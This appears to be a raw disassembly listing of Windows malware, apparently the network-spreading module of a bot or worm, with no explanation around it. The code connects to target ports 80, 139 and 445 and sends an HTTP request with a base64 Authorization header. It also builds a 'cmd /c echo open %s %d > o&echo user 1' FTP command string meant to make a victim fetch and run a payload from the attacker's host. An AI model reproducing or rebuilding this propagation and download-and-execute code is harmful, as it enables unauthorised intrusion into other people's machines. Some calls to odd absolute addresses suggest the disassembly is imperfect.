		push	0
		push	48h
		push	offset unk_431D48
		push	[ebp+arg_0]
		call	near ptr 71AB1AF4h
		nop
		cmp	eax, 48h
		jnz	short loc_40D019
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_40CE40
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D019
		cmp	[ebp+var_20], 82h
		jz	short loc_40D01D


loc_40D019:				; CODE XREF: sub_40CFDE+1Bj
					; sub_40CFDE+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40D01D:				; CODE XREF: sub_40CFDE+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40CF04
		add	esp, 0Ch
		leave
		retn
sub_40CFDE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D030	proc near		; CODE XREF: sub_40D07C+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	dbl_427690
		call	sub_41C798
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	dbl_427688
		fstp	[esp+10h+var_10]
		call	sub_41C679
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_41C798
		inc	eax
		leave
		retn
sub_40D030	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D07C	proc near		; CODE XREF: sub_40D21E+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_426DF7
		call	sub_41CC64
		sub	esp, 2Ch
		mov	al, [ebp+13h]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		lea	ecx, [ebp-38h]
		push	edi
		mov	[ebp-20h], edi
		mov	[ebp-38h], al
		call	sub_40D6B3
		push	1
		pop	ebx
		push	dword ptr [ebp+10h]
		mov	[ebp-4], ebx
		call	sub_40D030
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_40D0BE
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_40D62E


loc_40D0BE:				; CODE XREF: sub_40D07C+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_40D1DB
		mov	ebx, [ebp+10h]


loc_40D0CD:				; CODE XREF: sub_40D07C+156j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_40D0D7
		push	3
		jmp	short loc_40D0E9
; ---------------------------------------------------------------------------


loc_40D0D7:				; CODE XREF: sub_40D07C+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_40D0E1
		push	2
		jmp	short loc_40D0E9
; ---------------------------------------------------------------------------


loc_40D0E1:				; CODE XREF: sub_40D07C+5Fj
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_40D0EA
		push	1


loc_40D0E9:				; CODE XREF: sub_40D07C+59j
					; sub_40D07C+63j
		pop	ebx


loc_40D0EA:				; CODE XREF: sub_40D07C+69j
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	dbl_4276A0
		fstp	[esp+40h+var_40]
		call	sub_41C7BF
		pop	ecx
		pop	ecx
		call	sub_41C798
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_40D129
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi


loc_40D129:				; CODE XREF: sub_40D07C+93j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_40D197
		add	[ebp-18h], eax


loc_40D17B:				; CODE XREF: sub_40D07C+119j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, byte_431D94[eax]
		push	eax
		push	1
		call	sub_40D4B0
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_40D17B


loc_40D197:				; CODE XREF: sub_40D07C+FAj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_40D1B5
		push	dword ptr [ebp+14h]
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_40D509
		mov	[ebp-18h], edi


loc_40D1B5:				; CODE XREF: sub_40D07C+11Fj
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_40D1CF
		sub	esi, [ebp-1Ch]


loc_40D1C0:				; CODE XREF: sub_40D07C+151j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_40D4B0
		dec	esi
		jnz	short loc_40D1C0


loc_40D1CF:				; CODE XREF: sub_40D07C+13Fj
		cmp	[ebp+10h], edi
		ja	loc_40D0CD
		push	1
		pop	ebx


loc_40D1DB:				; CODE XREF: sub_40D07C+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D6B3
		push	dword_427698
		lea	eax, [ebp-38h]
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_40D560
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_40D6B3
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D07C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D21E	proc near		; CODE XREF: ___:0040D41Bp
		mov	eax, offset loc_426E14
		call	sub_41CC64
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset dword_43D158
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_40D07C
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_41B4D5
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_40D268
		xor	bl, bl
		jmp	short loc_40D2AC
; ---------------------------------------------------------------------------


loc_40D268:				; CODE XREF: sub_40D21E+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_4276A8
		cmp	ecx, ebx
		jnz	short loc_40D276
		mov	ecx, eax


loc_40D276:				; CODE XREF: sub_40D21E+54j
		cmp	[ebp+18h], ebx
		jz	short loc_40D27E
		mov	eax, [ebp+18h]


loc_40D27E:				; CODE XREF: sub_40D21E+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_41B980
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_4CAFF4
		cmp	eax, esi
		jz	short loc_40D2A3
		xor	bl, bl
		jmp	short loc_40D2A5
; ---------------------------------------------------------------------------


loc_40D2A3:				; CODE XREF: sub_40D21E+7Fj
		mov	bl, 1


loc_40D2A5:				; CODE XREF: sub_40D21E+83j
		push	edi
		call	sub_41B0B1
		pop	ecx


loc_40D2AC:				; CODE XREF: sub_40D21E+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_40D6B3
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_40D6B3
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D21E	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		and	byte ptr [ebp-420h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-41Fh]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-420h]
		push	offset sub_431F40
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		mov	eax, offset byte_429108
		push	eax
		push	eax
		movzx	eax, word ptr dword_4CACE0
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40AC0F
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp-391h]
		push	400h
		push	eax
		call	sub_41B980
		add	eax, 90h
		push	eax
		lea	eax, [ebp-420h]
		push	eax
		push	164h
		lea	eax, [ebp-8]
		push	offset sub_431DD8
		push	eax
		call	sub_40CADA
		xor	esi, esi
		add	esp, 30h
		cmp	[ebp-4], esi
		jnz	short loc_40D377
		xor	eax, eax
		jmp	loc_40D4A3
; ---------------------------------------------------------------------------


loc_40D377:				; CODE XREF: ___:0040D36Ej
		mov	[ebp-0Ch], esi


loc_40D37A:				; CODE XREF: ___:0040D47Aj
		test	esi, esi
		jnz	loc_40D480
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40D468
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-1Ch], 2
		call	dword_4CAFA4
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CAFE4
		mov	[ebp-18h], eax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CAF4C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D45D
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_40D425
		mov	al, [ebp+0C3h]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp-20h], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D6B3
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_40D6EF
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D21E
		add	esp, 1Ch
		jmp	short loc_40D45A
; ---------------------------------------------------------------------------


loc_40D425:				; CODE XREF: ___:0040D3E3j
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_40D43F
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40CFDE
		jmp	short loc_40D457
; ---------------------------------------------------------------------------


loc_40D43F:				; CODE XREF: ___:0040D42Fj
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_40D45D
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40CF04


loc_40D457:				; CODE XREF: ___:0040D43Dj
		add	esp, 0Ch


loc_40D45A:				; CODE XREF: ___:0040D423j
		movzx	esi, al


loc_40D45D:				; CODE XREF: ___:0040D3D6j
					; ___:0040D449j
		push	ebx
		call	dword_4CB03C
		test	esi, esi
		jnz	short loc_40D473


loc_40D468:				; CODE XREF: ___:0040D393j
		push	3E8h
		nop
		call	near ptr 267053Bh


loc_40D473:				; CODE XREF: ___:0040D466j
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_40D37A


loc_40D480:				; CODE XREF: ___:0040D37Cj
		lea	ecx, [ebp-8]
		call	sub_40C8FF
		test	esi, esi
		jz	short loc_40D4A1
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		inc	dword_431440[eax]
		lea	eax, dword_431440[eax]


loc_40D4A1:				; CODE XREF: ___:0040D48Aj
		mov	eax, esi


loc_40D4A3:				; CODE XREF: ___:0040D372j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426DD8


loc_40D4A8:				; CODE XREF: sub_426DD8+3j
					; ___:00426DF1j ...
		push	1
		call	sub_40D6B3
		retn
; END OF FUNCTION CHUNK	FOR sub_426DD8

; =============== S U B	R O U T	I N E =======================================



sub_40D4B0	proc near		; CODE XREF: sub_40D07C+110p
					; sub_40D07C+14Bp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, dword_427698
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D4CA
		call	sub_42669A


loc_40D4CA:				; CODE XREF: sub_40D4B0+13j
		test	ebx, ebx
		jbe	short loc_40D501
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D501
		movsx	eax, [esp+0Ch+arg_4]
		push	ebx
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_41B590
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_40D501:				; CODE XREF: sub_40D4B0+1Cj
					; sub_40D4B0+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D4B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D509	proc near		; CODE XREF: sub_40D07C+131p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_427698
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D523
		call	sub_42669A


loc_40D523:				; CODE XREF: sub_40D509+13j
		test	ebx, ebx
		jbe	short loc_40D558
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D558
		mov	eax, [esi+8]
		push	ebx
		push	[esp+10h+arg_0]
		add	eax, [esi+4]
		push	eax
		call	sub_41C310
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_40D558:				; CODE XREF: sub_40D509+1Cj
					; sub_40D509+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D509	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D560	proc near		; CODE XREF: sub_40D07C+17Cp
					; sub_4265B0+15p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_40D578
		call	sub_426573


loc_40D578:				; CODE XREF: sub_40D560+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_40D58A
		mov	esi, [ebp+arg_8]


loc_40D58A:				; CODE XREF: sub_40D560+25j
		cmp	edi, ebx
		jnz	short loc_40D5AC
		push	dword_427698
		add	esi, ecx
		mov	ecx, edi
		push	esi
		call	sub_40D724
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_40D724
		jmp	short loc_40D625
; ---------------------------------------------------------------------------


loc_40D5AC:				; CODE XREF: sub_40D560+2Cj
		test	esi, esi
		jbe	short loc_40D5EF
		cmp	esi, eax
		jnz	short loc_40D5EF
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D5C0
		mov	eax, offset dword_4276A8


loc_40D5C0:				; CODE XREF: sub_40D560+59j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_40D5EF
		push	1
		mov	ecx, edi
		call	sub_40D6B3
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D5DB
		mov	eax, offset dword_4276A8


loc_40D5DB:				; CODE XREF: sub_40D560+74j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_40D625
; ---------------------------------------------------------------------------


loc_40D5EF:				; CODE XREF: sub_40D560+4Ej
					; sub_40D560+52j ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D625
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D609
		mov	eax, offset dword_4276A8


loc_40D609:				; CODE XREF: sub_40D560+A2j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_41C310
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [eax+esi], 0


loc_40D625:				; CODE XREF: sub_40D560+4Aj
					; sub_40D560+8Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_40D560	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D62E	proc near		; CODE XREF: sub_40D07C+3Dp
					; sub_40D4B0+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_40D640
		call	sub_42669A


loc_40D640:				; CODE XREF: sub_40D62E+Bj
		mov	ecx, [esi+4]
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_40D669
		mov	al, [ecx-1]
		cmp	al, dl
		jz	short loc_40D669
		cmp	al, 0FFh
		jz	short loc_40D669
		cmp	edi, edx
		jnz	short loc_40D6A4
		dec	al
		push	edx
		mov	[ecx-1], al


loc_40D65E:				; CODE XREF: sub_40D62E+47j
		mov	ecx, esi
		call	sub_40D6B3


loc_40D665:				; CODE XREF: sub_40D62E+4Bj
					; sub_40D62E+52j
		xor	al, al
		jmp	short loc_40D6AE
; ---------------------------------------------------------------------------


loc_40D669:				; CODE XREF: sub_40D62E+19j
					; sub_40D62E+20j ...
		cmp	edi, edx
		jnz	short loc_40D682
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D677
		push	1
		jmp	short loc_40D65E
; ---------------------------------------------------------------------------


loc_40D677:				; CODE XREF: sub_40D62E+43j
		cmp	ecx, edx
		jz	short loc_40D665
		mov	[esi+8], edx
		mov	[ecx], dl
		jmp	short loc_40D665
; ---------------------------------------------------------------------------


loc_40D682:				; CODE XREF: sub_40D62E+3Dj
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D69F
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_40D694
		cmp	eax, edi
		jnb	short loc_40D6AC


loc_40D694:				; CODE XREF: sub_40D62E+60j
		push	1
		mov	ecx, esi
		call	sub_40D6B3
		jmp	short loc_40D6A4
; ---------------------------------------------------------------------------


loc_40D69F:				; CODE XREF: sub_40D62E+58j
		cmp	[esi+0Ch], edi
		jnb	short loc_40D6AC


loc_40D6A4:				; CODE XREF: sub_40D62E+28j
					; sub_40D62E+6Fj
		push	edi
		mov	ecx, esi
		call	sub_40D78B


loc_40D6AC:				; CODE XREF: sub_40D62E+64j
					; sub_40D62E+74j
		mov	al, 1


loc_40D6AE:				; CODE XREF: sub_40D62E+39j
		pop	edi
		pop	esi
		retn	8
sub_40D62E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D6B3	proc near		; CODE XREF: sub_40D07C+1Fp
					; sub_40D07C+16Ap ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_40D6DF
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40D6DF
		lea	ecx, [eax-1]
		mov	al, [eax-1]
		test	al, al
		jz	short loc_40D6D8
		cmp	al, 0FFh
		jz	short loc_40D6D8
		dec	al
		mov	[ecx], al
		jmp	short loc_40D6DF
; ---------------------------------------------------------------------------


loc_40D6D8:				; CODE XREF: sub_40D6B3+19j
					; sub_40D6B3+1Dj
		push	ecx
		call	sub_41CC83
		pop	ecx


loc_40D6DF:				; CODE XREF: sub_40D6B3+8j
					; sub_40D6B3+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_40D6B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D6EF	proc near		; CODE XREF: ___:0040D40Fp
					; sub_40D848+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		mov	esi, ecx
		push	edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D71D
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_41C310
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_40D71D:				; CODE XREF: sub_40D6EF+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_40D6EF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D724	proc near		; CODE XREF: sub_40D560+39p
					; sub_40D560+45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_40D737
		call	sub_426573


loc_40D737:				; CODE XREF: sub_40D724+Cj
		mov	ecx, edi
		call	sub_40D848
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_40D74D
		mov	ebx, eax


loc_40D74D:				; CODE XREF: sub_40D724+25j
		test	ebx, ebx
		jbe	short loc_40D783
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_41CC90
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D783
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_40D783:				; CODE XREF: sub_40D724+2Bj
					; sub_40D724+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D724	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D78B	proc near		; CODE XREF: sub_40D62E+79p
		mov	eax, offset loc_426E20
		call	sub_41CC64
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_40D7B1
		mov	edi, [ebp+8]


loc_40D7B1:				; CODE XREF: sub_40D78B+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_40D7BE
		xor	eax, eax


loc_40D7BE:				; CODE XREF: sub_40D78B+2Fj
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_40D7EF
; ---------------------------------------------------------------------------
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_40D7D9
		xor	eax, eax


loc_40D7D9:				; CODE XREF: sub_40D78B+4Aj
		push	eax
		call	sub_41CFC5
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_40D7E9
		retn
; ---------------------------------------------------------------------------


loc_40D7E9:				; DATA XREF: sub_40D78B+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]


loc_40D7EF:				; CODE XREF: sub_40D78B+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_40D80D
		cmp	eax, edi
		jbe	short loc_40D7FC
		mov	eax, edi


loc_40D7FC:				; CODE XREF: sub_40D78B+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_41C310
		add	esp, 0Ch


loc_40D80D:				; CODE XREF: sub_40D78B+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_40D6B3
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_40D82D
		mov	edi, ebx


loc_40D82D:				; CODE XREF: sub_40D78B+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40D78B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D848	proc near		; CODE XREF: sub_40D724+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_40D875
		mov	al, [esi-1]
		test	al, al
		jz	short loc_40D875
		cmp	al, 0FFh
		jz	short loc_40D875
		push	1
		call	sub_40D6B3
		push	esi
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_40D6EF


loc_40D875:				; CODE XREF: sub_40D848+9j
					; sub_40D848+10j ...
		pop	edi
		pop	esi
		retn
sub_40D848	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D878	proc near		; DATA XREF: ___:00429008o
		test	byte_4DB5C4, 1
		jnz	short loc_40D888
		or	byte_4DB5C4, 1


loc_40D888:				; CODE XREF: sub_40D878+7j
		jmp	$+5
		push	offset nullsub_1
		call	sub_41D040
		pop	ecx
		retn
sub_40D878	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40D89A	proc near		; DATA XREF: ___:0042900Co
		jmp	$+5
sub_40D89A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40D89F	proc near
		mov	eax, dword_4321F8
		add	eax, 6
		mov	dword_4CDCC4, eax
		retn
sub_40D89F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D8AD	proc near		; CODE XREF: sub_40D8AD+D0p
					; ___:0040DE0Cp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_7		= byte ptr  0Fh
arg_C		= word ptr  14h
arg_14		= dword	ptr  1Ch
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= byte ptr  30h
arg_2B		= byte ptr  33h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_28], 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_40D8C1
		or	[ebp+arg_7], 1
		jmp	short loc_40D8C5
; ---------------------------------------------------------------------------


loc_40D8C1:				; CODE XREF: sub_40D8AD+Cj
		and	[ebp+arg_7], 0FEh


loc_40D8C5:				; CODE XREF: sub_40D8AD+12j
		mov	ecx, [ebp+arg_24]
		mov	ebx, [ebp+arg_20]
		movzx	eax, cx
		lea	edx, [ebx+18h]
		cmp	edx, eax
		ja	short loc_40D8E9
		or	[ebp+arg_7], 2
		and	[ebp+arg_2B], 0
		lea	eax, [ebx+18h]
		mov	[ebp+arg_14], ebx
		mov	[ebp+arg_C], ax
		jmp	short loc_40D8FB
; ---------------------------------------------------------------------------


loc_40D8E9:				; CODE XREF: sub_40D8AD+26j
		add	eax, 0FFFFFFE8h
		and	[ebp+arg_7], 0FDh
		mov	[ebp+arg_C], cx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_2B], 1


loc_40D8FB:				; CODE XREF: sub_40D8AD+3Aj
		movzx	eax, [ebp+arg_C]
		push	eax
		mov	[ebp+var_4], eax
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_20], eax
		jz	loc_40D994
		push	6
		lea	esi, [ebp+arg_4]
		pop	ecx
		mov	edi, eax
		rep movsd
		mov	edi, [ebp+arg_14]
		mov	esi, [ebp+arg_1C]
		push	edi
		add	eax, 18h
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_20]
		push	[ebp+arg_0]
		nop
		call	near ptr 26E0000h
		test	eax, eax
		jz	short loc_40D98B
		mov	eax, [ebp+var_4]
		cmp	[ebp+var_8], eax
		jnz	short loc_40D98B
		push	[ebp+arg_20]
		call	sub_41B0B1
		cmp	[ebp+arg_2B], 0
		pop	ecx
